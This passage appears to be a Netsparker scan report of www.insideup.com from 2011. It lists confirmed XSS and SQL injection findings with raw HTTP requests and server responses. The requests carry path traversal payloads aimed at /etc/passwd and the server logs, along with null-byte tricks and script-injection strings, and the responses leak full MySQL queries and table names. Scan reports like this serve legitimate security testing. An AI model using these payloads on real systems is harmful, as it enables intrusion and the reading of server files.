OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:22:25 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=1gfjos41ig74404n9arn5e7885; path=/
Content-Length: 2883
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/'"--></style></script><script>netsparker(0x000519)</script>' OR prj.project_page_url = 'leadflow/'"--></style></script><script>netsparker(0x000519)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/'"--></style></script><script>netsparker(0x000519)</script>' OR prj.project_page_url = 'leadflow/'"--></style></script><script>netsparker(0x000519)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/'"--></style></script><script>netsparker(0x000519)</script>' OR prj.project_page_url = 'leadflow/'"--></style></script><script>netsparker(0x000519)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/'"--></style></script><script>netsparker(0x000519)</script>' OR prj.project_page_url = 'leadflow/'"--></style></script><script>netsparker(0x000519)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/'"--></style></script><script>netsparker(0x000519)</script>' OR prj.project_page_url = 'leadflow/'"--></style></script><script>netsparker(0x000519)</script>/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '></style></script><script>netsparker(0x000519)</script>/' union select prj.catI' at line 5

- /communitysignup.html

/communitysignup.html CONFIRMED

http://www.insideup.com/communitysignup.html

Parameters

Parameter	Type	Value
companyName	POST	Smith
emailAddress	POST	netsparker@example.com
firstName	POST	Smith
lastName	POST	Smith
password1	POST	'"--></style></script><script>alert(0x00050D)</script>
password2	POST	3
pseudonym	POST	3
receiveSpecialOfferEmail	POST	netsparker@example.com
refererUrl	POST	http://www.insideup.com/index.html
termsOfService	POST	3

Request

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:22:22 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=F629F5EE3569B8BB2A496694BB1E1642; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content="InsideUp, business, wiki, advertise, business category, vendors, ratings, business service, technology, leads, community, social networking, referral, reference, share, San Diego, commerce, b2b, trade, industry, selling, production, big business, dealing, corporation, conglomerate, establishment, partnership, firm, multinational, transnational, small business, enterprise, venture, organization, transaction, contract, commercial, occupational, corporate, publicize, market, search, forum, forums, discuss, share, information"/> <meta name="description" content="Join your community and share your services!"/> <meta name="robots" content="index; follow"/> <title>Share your services and experiences with your community.</title> <link rel="stylesheet" type="text/css" href="/css/mainNewInsideup.css" />
<link rel="stylesheet" type="text/css" href="/css/calendar.css" /> <script type="text/javascript" src="/js/jquery-1.2.1.js"></script> <script type="text/javascript" src="/js/ajax.js"></script> <script type="text/javascript" src="/js/ajax-dynamic-list.js"></script> <script type="text/javascript" src="/js/default.js"></script> <script type="text/javascript" src="/js/calendar.js" ></script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {} </script></head><body> <div id="mainContainer">
 <div class="header">  <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value="http://www.insideup.com/index.html"> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('Community Signup',0,'')" alt="Home" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerHomeActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div>   <div id="midSectionBox">  <script type="text/javascript"> function invertValue(y){ var x=document.getElementById(y).value if(x==0) { document.getElementById(y).value=1 } if(x==1) { document.getElementById(y).value=0 }}</script><div style="background:url(/images/midSliceMain.gif);"> <div style="width:850px; height:740px; margin:auto; padding-top:20px;">  <div style="width:530px; height:auto; float:left;"> <div id="communityLogin"> <div style="width:492px; height:84px; border:1px solid #eeeeee;"> <form method="post" id="communityLoginId"> <input type="hidden" name="refererUrl" value="http://www.insideup.com/index.html"> <table width="96%" border="0" align="right" cellpadding="0" cellspacing="0"> <tr> <td width="27%" height="70" style="font:bold 12px Arial, Helvetica, sans-serif; color:#777777;">Already A Member?</td> <td width="53%" valign="bottom" style="font:bold 12px Arial, Helvetica, sans-serif; color:#777777; padding-top:22px;">  <input name="username" value="username" type="text" onclick="clearInput(this);" onfocus="clearInput(this);" id="textfield" style="width:110px; padding:3px 0 0 3px; height:20px; border:1px solid #cccccc; margin-left:5px;" onkeypress="checkEnterKey(event)" /> <input type="password" name="password" id="textfield" style="width:110px; height:22px; border:1px solid #cccccc; padding:3px 0 0 3px; height:20px; margin-left:5px;" value="password" onclick="clearInput(this);" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" /> <span style="padding-left: 10px; line-height: 12px;"> <input type="hidden" name="_rememberme"> <input type="checkbox" name="rememberme" id="checkbox" value="true" /> <span style="color:#777777;font-size:10px;font-weight:bold;text-decoration:none;">Remember Me</span>       <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </span> </td> <td width="22%" style="padding-top:6px;">  <a href="javascript:void(0);" onclick="javascript:submitCommunityLogin();checkScreenWidth();"><img src="images/ComunityLogin.png" border="0" alt="Login"/></a> </td> </tr> </table> </form> </div> </div> <form method="post" action="communitysignup.html"> <input type="hidden" name="refererUrl" value='http://www.insideup.com/index.html'/> <div> <table width="496" border="0" cellspacing="0" cellpadding="0" style="margin-top:20px;"> <tr> <td colspan="2" style="font:bold 22px Arial, Helvetica, sans-serif; color:#181818;">Create Your Free Account</td> </tr> <tr> <td height="24" colspan="2" style="font:normal 12px Arial, Helvetica, sans-serif; color:#181818;">To gain free access to the InsideUp community please complete this short registration.</td> </tr> <tr> <td width="131" height="50" align="right" style="font:normal 12px Arial, Helvetica, sans-serif; color:#212121">Username <span style="color:#dc0000">*</span></td> <td width="365"> <input type="text" name="pseudonym" value="3" id="pseudonym" style="width:280px; height:18px; padding-top:3px; margin-left:10px;" class="inputbox123 " /> </td> </tr> <tr> <td height="50" align="right" style="font:normal 12px Arial, Helvetica, sans-serif; color:#212121">Email <span style="color:#dc0000">*</span></td> <td> <input type="text" name="emailAddress" value="netsparker@example.com" id="emailAddress" style="width..

- /ppc/leadflow/wede00/project.php

/ppc/leadflow/wede00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/wede00/project.php?catId=20001&iusrc=iupsc&nsextt='%22--%3E%3C/..

Parameters

Parameter	Type	Value
catId	GET	20001
iusrc	GET	iupsc
nsextt	GET	'"--></style></script><script>alert(0x000547)</script>

Request

GET /ppc/leadflow/wede00/project.php?catId=20001&iusrc=iupsc&nsextt='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000547)%3C/script%3E HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:22:39 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=g7vscnkspqm6768cii4hjuotj1; path=/
Content-Length: 3383
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc=iupsc&nsextt='"--></style></script><script>netsparker(0x000547)</script>' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc=iupsc&nsextt='"--></style></script><script>netsparker(0x000547)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc=iupsc&nsextt='"--></style></script><script>netsparker(0x000547)</script>' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc=iupsc&nsextt='"--></style></script><script>netsparker(0x000547)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc=iupsc&nsextt='"--></style></script><script>netsparker(0x000547)</script>' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc=iupsc&nsextt='"--></style></script><script>netsparker(0x000547)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc=iupsc&nsextt='"--></style></script><script>netsparker(0x000547)</script>' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc=iupsc&nsextt='"--></style></script><script>netsparker(0x000547)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc=iupsc&nsextt='"--></style></script><script>netsparker(0x000547)</script>' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc=iupsc&nsextt='"--></style></script><script>netsparker(0x000547)</script>/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '></style></script><script>netsparker(0x000547)</script>/' union select prj.catI' at line 5

- /ppc/leadflow/phsy00/

/ppc/leadflow/phsy00/ CONFIRMED

http://www.insideup.com/ppc/leadflow/phsy00/?nsextt='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eal..

Parameters

Parameter	Type	Value
nsextt	GET	'"--></style></script><script>alert(0x00054C)</script>

Request

GET /ppc/leadflow/phsy00/?nsextt='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00054C)%3C/script%3E HTTP/1.1
Referer: http://www.insideup.com/ppc/leadflow/phsy00/project.php?catId=110009&iusrc=iupsc
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; 